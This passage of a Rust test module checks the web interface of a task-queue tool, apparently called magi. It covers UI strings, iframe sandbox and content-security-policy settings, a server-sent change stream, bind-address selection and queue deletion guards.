16847 assert!(APP_JS.contains("function markSelected() {"));
16849 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
16850 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
16851 assert!(
16853 APP_CSS.contains(
16854 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
16855 )
16856 );
16857
16858 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
16860 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
16861 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
16862 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
16863
16864 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
16868 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
16869 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
16870 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
16871
16872 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
16874 }
16875
16876 #[test]
16877 fn panel_sandbox_carries_exactly_popups() {
16878 let needle = "sandbox: \"";
16879 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
16880 assert_eq!(
16881 matches.len(),
16882 1,
16883 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
16884 );
16885 let start = matches[0].0 + needle.len();
16886 let end = APP_JS[start..]
16887 .find('"')
16888 .expect("sandbox attribute value must be terminated by a closing quote");
16889 let val = &APP_JS[start..start + end];
16890 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
16891 let expected: std::collections::BTreeSet<&str> =
16892 ["allow-popups", "allow-popups-to-escape-sandbox"]
16893 .into_iter()
16894 .collect();
16895 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
16896 assert!(
16897 !tokens.contains("allow-scripts"),
16898 "allow-scripts must never be present in sandbox"
16899 );
16900 assert!(
16901 !tokens.contains("allow-same-origin"),
16902 "allow-same-origin must never be present in sandbox"
16903 );
16904 }
16905
16906 #[test]
16907 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
16908 assert!(
16917 APP_JS.contains(
16918 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
16919 ),
16920 "the search-clearing branch must run before state.queueFocus is cleared, or the \
16921 recursive renderQueue() call has nothing left to jump to"
16922 );
16923 assert!(
16924 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
16925 "state.queueFocus must be cleared only once the jump has landed, so a card that \
16926 arrives later still gets it"
16927 );
16928 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
16929 assert!(APP_JS.contains("is not in the current Backlog."));
16930 assert!(APP_JS.contains("li.card[data-task-id=\""));
16931 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
16932 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
16933 assert!(APP_CSS.contains(".card-permalink"));
16934 assert!(APP_CSS.contains(".queue-focus-status"));
16935 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
16936 }
16937
16938 #[test]
16939 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
16940 assert!(
16948 APP_JS.contains(
16949 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
16950 ),
16951 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
16952 );
16953 }
16954
16955 #[test]
16956 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
16957 assert!(
16958 APP_JS.contains("round.verified_head !== round.head"),
16959 "a round that verified an earlier commit must be visibly distinct from one that \
16960 verified the head reviewers are looking at now"
16961 );
16962 assert!(
16963 APP_JS.contains("round.verified_at"),
16964 "when a check ran must be on the wire, not just which commit"
16965 );
16966 assert!(
16967 APP_JS.contains("resource_blocked"),
16968 "a command magi never got to run (shared build cache contention) must not render \
16969 the same as a command that ran and failed"
16970 );
16971 }
16972
16973 #[test]
16974 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
16975 assert!(
16983 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
16984 "every KPI tile built through statusTile() must route its click through \
16985 openRunsFiltered, the single place that sets the Runs filter"
16986 );
16987 for (label, status) in [
16988 ("Merged", "merged"),
16989 ("Ready", "ready"),
16990 ("Blocked", "blocked"),
16991 ("Stalled", "stalled"),
16992 ] {
16993 let call = format!("statusTile(\"{label}\", t.{status}, ");
16994 assert!(
16995 APP_JS.contains(&call),
16996 "expected the {label} KPI tile built via {call}..."
16997 );
16998 assert!(
16999 APP_JS.contains(&format!("status === \"{status}\"")),
17000 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
17001 compare a run against, not one invented only for the stats tile"
17002 );
17003 }
17004 assert!(
17005 APP_JS.contains("function openRunsFiltered(status)"),
17006 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
17007 );
17008 assert!(
17009 APP_JS.contains(
17010 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
17011 ),
17012 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
17013 );
17014 assert!(
17022 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
17023 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
17024 hashchange event that may never fire"
17025 );
17026 }
17027
17028 #[test]
17029 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
17030 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
17036 assert!(
17037 APP_JS.contains(
17038 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
17039 ),
17040 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
17041 guard for an incompatible tree section"
17042 );
17043 }
17044
17045 #[test]
17046 fn every_stats_queue_tile_names_a_real_queue_section() {
17047 assert!(
17053 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
17054 "every queue tile built through sectionTile() must route its click through \
17055 openQueueSectionFocus"
17056 );
17057 for key in ["upnext", "running", "done", "held", "blocked"] {
17058 assert!(
17059 APP_JS.contains(&format!("{{ key: \"{key}\",")),
17060 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
17061 );
17062 }
17063 for line in [
17067 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
17068 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
17069 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
17070 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
17071 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
17072 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
17073 ] {
17074 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
17075 }
17076 }
17077
17078 #[test]
17079 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
17080 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
17087 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
17088 assert!(APP_JS.contains("function revealQueueSection(details)"));
17089 assert!(
17090 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
17091 "renderQueue() must consume both focus channels on every pass"
17092 );
17093 assert!(
17094 APP_JS.contains(
17095 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
17096 ),
17097 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
17098 the recursive renderQueue() call has nothing left to reveal"
17099 );
17100 assert!(
17101 APP_JS.contains(
17102 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
17103 ),
17104 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
17105 );
17106 assert!(
17114 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
17115 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
17116 hashchange event that may never fire"
17117 );
17118 }
17119
17120 #[tokio::test]
17121 async fn the_change_stream_announces_the_current_revisions_on_connect() {
17122 let f = Fixture::start().await;
17123
17124 let mut socket = tokio::net::TcpStream::connect(f.addr)
17125 .await
17126 .expect("connect");
17127 socket
17128 .write_all(
17129 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
17130 )
17131 .await
17132 .expect("write request");
17133
17134 let mut seen = String::new();
17137 let mut buf = [0u8; 1024];
17138 while !seen.contains("event: change") {
17139 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
17140 .await
17141 .expect("the stream must speak within five seconds")
17142 .expect("read");
17143 assert!(read > 0, "the server closed the change stream: {seen}");
17144 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
17145 }
17146
17147 assert!(
17148 seen.to_lowercase()
17149 .contains("content-type: text/event-stream"),
17150 "the browser only reconnects automatically for a real SSE stream: {seen}"
17151 );
17152 let data = seen
17153 .lines()
17154 .find_map(|l| l.strip_prefix("data:"))
17155 .expect("a data line");
17156 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
17157 assert!(
17158 payload["queue_rev"].is_u64()
17159 && payload["runs_rev"].is_u64()
17160 && payload["questions_rev"].is_u64()
17161 && payload["talks_rev"].is_u64()
17162 && payload["notifications_rev"].is_u64()
17163 && payload["loop_rev"].is_u64(),
17164 "the client needs one revision per store to know what to refetch, \
17165 and `talks_rev` is the only notification a standing talk gets - a \
17166 phone whose radio slept through a turn learns about it here, as \
17167 does one whose operator started the loop from another device: \
17168 {payload}"
17169 );
17170
17171 let health = f.get("/api/health").await.json();
17178 for key in [
17179 "queue_rev",
17180 "runs_rev",
17181 "questions_rev",
17182 "talks_rev",
17183 "notifications_rev",
17184 "loop_rev",
17185 ] {
17186 assert!(
17187 health[key].is_u64(),
17188 "health is the change stream's fallback and is missing `{key}`: {health}"
17189 );
17190 }
17191 }
17192
17193 #[tokio::test]
17194 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
17195 let f = Fixture::start().await;
17196 let before = f.get("/api/health").await.json()["talks_rev"]
17197 .as_u64()
17198 .expect("talks_rev");
17199
17200 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
17201 std::thread::sleep(Duration::from_millis(10));
17202 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
17203 on_disk.turns.push(crate::talk::Turn {
17204 sender: None,
17205 breaks: Some(Vec::new()),
17206 messages: Vec::new(),
17207 posted_by: None,
17208 who: crate::talk::Who::Operator,
17209 body: "a new turn".to_owned(),
17210 at: Timestamp::now(),
17211 attachments: Vec::new(),
17212 usage: None,
17213 });
17214 f.talks().put(&mut on_disk).expect("record a turn");
17215
17216 let after = f.get("/api/health").await.json()["talks_rev"]
17217 .as_u64()
17218 .expect("talks_rev");
17219 assert_ne!(
17220 before, after,
17221 "a phone must be able to notice a talk's reply without polling every store"
17222 );
17223 }
17224
17225 #[test]
17226 fn bind_reads_back_from_the_spelling_the_cli_prints() {
17227 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
17231 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
17232 }
17233 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
17234 assert!("everywhere".parse::<Bind>().is_err());
17235 }
17236
17237 #[test]
17238 fn an_explicit_bind_address_is_taken_verbatim() {
17239 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
17240
17241 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
17242
17243 assert_eq!(addr, asked);
17244 assert!(
17245 warning.is_none(),
17246 "an operator who named an address gets no lecture"
17247 );
17248 }
17249
17250 #[test]
17251 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
17252 let (addr, warning) = resolve_bind(&Bind::Auto);
17253
17254 match addr {
17261 IpAddr::V4(ip) if is_tailnet(&ip) => {
17262 assert!(warning.is_none(), "a tailnet address needs no warning");
17263 }
17264 other => {
17265 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
17266 let warning = warning.expect("a fallback has to explain itself");
17267 assert!(
17268 warning.contains("127.0.0.1") && warning.contains("local-only"),
17269 "the warning says what happened and what it costs: {warning}"
17270 );
17271 }
17272 }
17273 }
17274
17275 #[test]
17276 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
17277 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
17281 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
17282 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
17283 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
17284 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
17285 }
17286
17287 #[test]
17288 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
17289 let ids = vec![
17290 "20260902-140501-aaaa".to_owned(),
17291 "20260902-140502-aabb".to_owned(),
17292 ];
17293
17294 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
17295 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
17296 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
17297
17298 assert_eq!(missing.status, StatusCode::NOT_FOUND);
17299 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
17300 assert_eq!(short, "20260902-140502-aabb");
17301 }
17302 #[tokio::test]
17303 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
17304 let fx = Fixture::start().await;
17310 let id = panel(
17311 &fx,
17312 "<img src=\"shot.png\">",
17313 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
17314 );
17315
17316 let doc = fx
17318 .get(&format!("/api/questions/{id}/panel/index.html"))
17319 .await;
17320 assert_eq!(doc.status, 200, "{}", doc.body);
17321 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
17322
17323 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
17324 assert_eq!(sibling.status, 200, "{}", sibling.body);
17325 assert_eq!(sibling.header("content-type"), Some("image/png"));
17326 assert_eq!(
17327 sibling.header("content-security-policy"),
17328 Some(PANEL_CSP),
17329 "the sibling route must carry the same policy as the asset route"
17330 );
17331
17332 assert_eq!(
17335 fx.head(&format!("/api/questions/{id}/panel")).await.status,
17336 200
17337 );
17338 }
17339
17340 #[test]
17341 fn delta_stamps_cover_add_update_remove_and_noop() {
17342 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
17343 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
17344 let delta = diff_stamps(&before, &after, 42);
17345 assert_eq!(delta.base, 42);
17346 assert_eq!(delta.changed, ["b", "c"]);
17347 assert_eq!(delta.removed, ["a"]);
17348 let same = diff_stamps(&after, &after, 43);
17349 assert!(same.changed.is_empty() && same.removed.is_empty());
17350 assert_ne!(stamps_revision(&before), stamps_revision(&after));
17351 let nanos: Stamps = [("b".into(), (2, 20))].into();
17352 let same_ms: Stamps = [("b".into(), (3, 20))].into();
17353 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
17354 assert_eq!(stamps_revision(&Stamps::new()), 0);
17355 }
17356
17357 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
17358 std::fs::create_dir_all(home.join("runs")).unwrap();
17359 Arc::new(Ui::new(
17360 Queue::at(home.join("queue")),
17361 Questions::at(home.join("questions")),
17362 Talks::at(home.join("talks")),
17363 home.join("runs"),
17364 home.to_owned(),
17365 PathBuf::from("/repo/magi"),
17366 ))
17367 }
17368
17369 #[tokio::test]
17370 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
17371 let home = TempDir::new().unwrap();
17372 let ui = delta_test_ui(home.path());
17373 let mut task = Task::new(
17374 "stream task".into(),
17375 "text".into(),
17376 PathBuf::from("/repo"),
17377 Source::Human,
17378 );
17379 ui.queue.put(&mut task).unwrap();
17380 let response = events(State(ui.clone())).await.into_response();
17381 let mut stream = response.into_body().into_data_stream();
17382 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
17383 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
17384 .await
17385 .unwrap()
17386 .unwrap()
17387 .unwrap();
17388 let text = String::from_utf8(chunk.to_vec()).unwrap();
17389 let data = text
17390 .lines()
17391 .find_map(|line| {
17392 line.strip_prefix("data: ")
17393 .or_else(|| line.strip_prefix("data:"))
17394 })
17395 .unwrap();
17396 serde_json::from_str(data).unwrap()
17397 }
17398 let initial = change(&mut stream).await;
17399 assert!(initial.get("queue_delta").is_none());
17400 task.instruction.push_str(" changed");
17401 ui.queue.put(&mut task).unwrap();
17402 let updated = change(&mut stream).await;
17403 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
17404 assert_eq!(
17405 updated["queue_delta"]["changed"],
17406 serde_json::json!([task.id])
17407 );
17408 assert_eq!(
17409 updated["queue_rev"].as_u64(),
17410 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
17411 );
17412 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
17413 let removed = change(&mut stream).await;
17414 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
17415 assert_eq!(
17416 removed["queue_delta"]["removed"],
17417 serde_json::json!([task.id])
17418 );
17419 }
17420
17421 #[tokio::test]
17422 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
17423 let home = TempDir::new().unwrap();
17424 let ui = delta_test_ui(home.path());
17425 let queue = ui.queue.clone();
17426 let query = |ids: Option<&str>| {
17427 Query(ListQuery {
17428 limit: Some(2),
17429 ids: ids.map(str::to_owned),
17430 })
17431 };
17432 let mut root = Task::new(
17433 "root".into(),
17434 "instruction".into(),
17435 PathBuf::from("/repo"),
17436 Source::Human,
17437 );
17438 queue.put(&mut root).unwrap();
17439 let mut blocked = Task::new(
17440 "blocked".into(),
17441 "instruction".into(),
17442 PathBuf::from("/repo"),
17443 Source::Human,
17444 );
17445 blocked.block(vec![root.id.clone()], None);
17446 queue.put(&mut blocked).unwrap();
17447 let whole =
17448 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
17449 .unwrap();
17450 let subset = serde_json::to_value(
17451 queue_list(State(ui.clone()), query(Some(&root.id)))
17452 .await
17453 .unwrap()
17454 .0,
17455 )
17456 .unwrap();
17457 assert_eq!(whole, subset, "requested root plus its blocked dependent");
17458 let blockers = serde_json::to_value(
17459 queue_list(State(ui.clone()), query(Some("")))
17460 .await
17461 .unwrap()
17462 .0,
17463 )
17464 .unwrap();
17465 assert_eq!(blockers.as_array().unwrap().len(), 1);
17466 assert_eq!(blockers[0]["id"], blocked.id);
17467 assert_eq!(
17468 blockers[0]["waits_on"],
17469 whole
17470 .as_array()
17471 .unwrap()
17472 .iter()
17473 .find(|row| row["id"] == blocked.id)
17474 .unwrap()["waits_on"]
17475 );
17476
17477 for id in [
17478 "20260902-140501-aaaa",
17479 "20260902-140502-bbbb",
17480 "20260902-140503-cccc",
17481 ] {
17482 write_run(&ui.runs, id, RunStatus::Merged);
17483 }
17484 let old = serde_json::to_value(
17485 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
17486 .await
17487 .unwrap()
17488 .0,
17489 )
17490 .unwrap();
17491 assert!(
17492 old.as_array().unwrap().is_empty(),
17493 "older updates must not enter the window"
17494 );
17495 let newest = serde_json::to_value(
17496 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
17497 .await
17498 .unwrap()
17499 .0,
17500 )
17501 .unwrap();
17502 assert_eq!(newest.as_array().unwrap().len(), 1);
17503 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
17504
17505 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
17506 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
17507 let talks = serde_json::to_value(
17508 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
17509 .await
17510 .unwrap()
17511 .0,
17512 )
17513 .unwrap();
17514 assert_eq!(talks.as_array().unwrap().len(), 1);
17515 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
17516 assert_eq!(
17517 serde_json::to_value(
17518 talks_list(State(ui.clone()), query(Some("")))
17519 .await
17520 .unwrap()
17521 .0
17522 )
17523 .unwrap(),
17524 serde_json::json!([])
17525 );
17526 }
17527
17528 #[tokio::test]
17529 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
17530 async fn delta_payload_benchmark() {
17531 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
17532 let ui = delta_test_ui(&home);
17533 let query = |ids: Option<String>| {
17534 Query(ListQuery {
17535 limit: Some(50),
17536 ids,
17537 })
17538 };
17539 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
17540 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
17541 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
17542 let queue_id = queue
17543 .iter()
17544 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
17545 .unwrap_or(&queue[0])
17546 .task
17547 .id
17548 .clone();
17549 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
17550 .await
17551 .unwrap()
17552 .0;
17553 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
17554 .await
17555 .unwrap()
17556 .0;
17557 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
17558 .await
17559 .unwrap()
17560 .0;
17561 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
17562 eprintln!(
17563 "DELTA_PAYLOAD {}",
17564 serde_json::json!({
17565 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
17566 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
17567 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
17568 "counts": [queue.len(), runs.len(), talks.len()],
17569 "blocked": queue_delta.len() - 1,
17570 })
17571 );
17572 }
17573
17574 #[test]
17575 fn runs_revision_moves_when_deleting_an_older_run() {
17576 let temp = TempDir::new().expect("tempdir");
17577 let runs = temp.path().join("runs");
17578 std::fs::create_dir_all(&runs).expect("create runs dir");
17579
17580 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
17581
17582 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
17583 std::thread::sleep(Duration::from_millis(10));
17584 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
17585
17586 let rev_before = runs_revision(&runs);
17587 assert!(rev_before > 0);
17588
17589 let old_dir = runs.join("20260901-100000-old1");
17590 std::fs::remove_dir_all(&old_dir).expect("remove old run");
17591
17592 let rev_after = runs_revision(&runs);
17593 assert_ne!(
17594 rev_before, rev_after,
17595 "deleting an older run must change the revision so other clients see the deletion"
17596 );
17597 }
17598
17599 fn write_state(runs: &FsPath, state: &RunState) {
17604 let dir = runs.join(&state.id);
17605 std::fs::create_dir_all(&dir).expect("run dir");
17606 std::fs::write(
17607 dir.join("run.json"),
17608 serde_json::to_string_pretty(state).expect("serialize run"),
17609 )
17610 .expect("write run.json");
17611 }
17612
17613 #[test]
17618 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
17619 let temp = TempDir::new().expect("tempdir");
17620 let runs = temp.path().join("runs");
17621 std::fs::create_dir_all(&runs).expect("create runs dir");
17622 let mut state = RunState::new(
17623 PathBuf::from("/repo/magi"),
17624 "main".to_owned(),
17625 "0123456789abcdef".to_owned(),
17626 "task".to_owned(),
17627 Config::default(),
17628 );
17629 state.id = "20260902-100000-c0de".to_owned();
17630 write_state(&runs, &state);
17631
17632 let rev_idle = runs_revision(&runs);
17633 std::thread::sleep(Duration::from_millis(10));
17634 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
17635 write_state(&runs, &state);
17636 let rev_started = runs_revision(&runs);
17637 assert_ne!(
17638 rev_idle, rev_started,
17639 "a seat starting must move the revision"
17640 );
17641
17642 std::thread::sleep(Duration::from_millis(10));
17643 state.seat_finished("judge-1");
17644 write_state(&runs, &state);
17645 let rev_finished = runs_revision(&runs);
17646 assert_ne!(
17647 rev_started, rev_finished,
17648 "and clearing it again must move the revision a second time"
17649 );
17650 }
17651
17652 #[tokio::test]
17653 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
17654 let fx = Fixture::start().await;
17659 let q = fx.queue();
17660
17661 let mut t = Task::new(
17662 "Task".to_owned(),
17663 "Instruction".to_owned(),
17664 PathBuf::from("/repo"),
17665 Source::Human,
17666 );
17667 t.block(
17668 vec!["20260101-000000-dead".to_owned()],
17669 Some("waiting on Task 1".to_owned()),
17670 );
17671 t.answers.push(crate::queue::AnsweredQuestion {
17672 question: "Which backend?".to_owned(),
17673 answer: "SQLite".to_owned(),
17674 });
17675 q.put(&mut t).expect("put t");
17676
17677 let res = fx.get("/api/queue").await;
17678 assert_eq!(res.status, 200);
17679 let list = res.json();
17680 let view = list
17681 .as_array()
17682 .expect("array")
17683 .iter()
17684 .find(|v| v["id"] == t.id)
17685 .expect("task in list");
17686 assert_eq!(view["status_str"], "blocked");
17687 assert_eq!(
17688 view["blocked_by"],
17689 serde_json::json!(["20260101-000000-dead"])
17690 );
17691 assert_eq!(view["block_reason"], "waiting on Task 1");
17692 assert_eq!(view["answers"][0]["question"], "Which backend?");
17693 assert_eq!(view["answers"][0]["answer"], "SQLite");
17694
17695 let res = fx
17699 .post(&format!("/api/queue/{}/hold", t.short()), None)
17700 .await;
17701 assert_eq!(res.status, 200);
17702 let held = res.json();
17703 assert_eq!(held["status_str"], "held");
17704 assert_eq!(held["blocked_by"], serde_json::json!([]));
17705 assert!(held["block_reason"].is_null());
17706 assert_eq!(held["answers"][0]["answer"], "SQLite");
17707 }
17708
17709 #[tokio::test]
17710 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
17711 let fx = Fixture::start().await;
17712 let q = fx.queue();
17713 let mk = |title: &str| {
17714 Task::new(
17715 title.to_owned(),
17716 "Instruction".to_owned(),
17717 PathBuf::from("/repo"),
17718 Source::Human,
17719 )
17720 };
17721 let mut root = mk("root");
17722 root.hold_manual(Some("waiting".to_owned()));
17723 q.put(&mut root).unwrap();
17724 let mut mid = mk("mid");
17725 mid.block(vec![root.id.clone()], None);
17726 q.put(&mut mid).unwrap();
17727 let mut leaf = mk("leaf");
17728 leaf.block(vec![mid.id.clone()], None);
17729 q.put(&mut leaf).unwrap();
17730
17731 let list = fx.get("/api/queue").await.json();
17732 let find = |id: &str| {
17733 list.as_array()
17734 .unwrap()
17735 .iter()
17736 .find(|v| v["id"] == id)
17737 .unwrap()
17738 .clone()
17739 };
17740 let leaf_view = find(&leaf.id);
17741 assert_eq!(
17742 leaf_view["waits_on"],
17743 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
17744 );
17745 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
17746 assert_eq!(
17747 find(&mid.id)["waits_on"],
17748 serde_json::json!([format!("{} (held)", root.short())])
17749 );
17750 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
17751 }
17752
17753 #[tokio::test]
17754 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
17755 let fx = Fixture::start().await;
17756 let q = fx.queue();
17757
17758 let mut t1 = Task::new(
17760 "Task 1".to_owned(),
17761 "Instruction 1".to_owned(),
17762 PathBuf::from("/repo"),
17763 Source::Human,
17764 );
17765 let run_id = "20260901-000000-r111";
17766 t1.runs.push(run_id.to_owned());
17767 write_run(&fx.runs(), run_id, RunStatus::Merged);
17768 q.put(&mut t1).expect("put t1");
17769
17770 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
17772 assert_eq!(res.status, 204);
17773 assert!(res.body.is_empty(), "204 No Content has no body");
17774 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
17775 assert!(
17776 fx.runs().join(run_id).exists(),
17777 "run directory must not be deleted when its task is deleted"
17778 );
17779
17780 let mut t2 = Task::new(
17782 "Task 2".to_owned(),
17783 "Instruction 2".to_owned(),
17784 PathBuf::from("/repo"),
17785 Source::Human,
17786 );
17787 t2.status = TaskStatus::Running;
17788 q.put(&mut t2).expect("put t2");
17789 let mut beat = crate::daemon::Status::new();
17790 beat.current = vec![crate::daemon::Current {
17791 task: t2.id.clone(),
17792 run: "20260901-000000-r222".to_owned(),
17793 }];
17794 beat.updated_at = jiff::Timestamp::now();
17795 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17796 .expect("publish a heartbeat");
17797 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
17798 assert_eq!(res.status, 409);
17799 assert!(
17800 res.json()["error"]
17801 .as_str()
17802 .unwrap()
17803 .contains("live daemon")
17804 );
17805 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
17806
17807 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
17813 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17814 .expect("leave a stale heartbeat");
17815 let mut t3 = Task::new(
17816 "Task 3".to_owned(),
17817 "Instruction 3".to_owned(),
17818 PathBuf::from("/repo"),
17819 Source::Human,
17820 );
17821 t3.status = TaskStatus::Running;
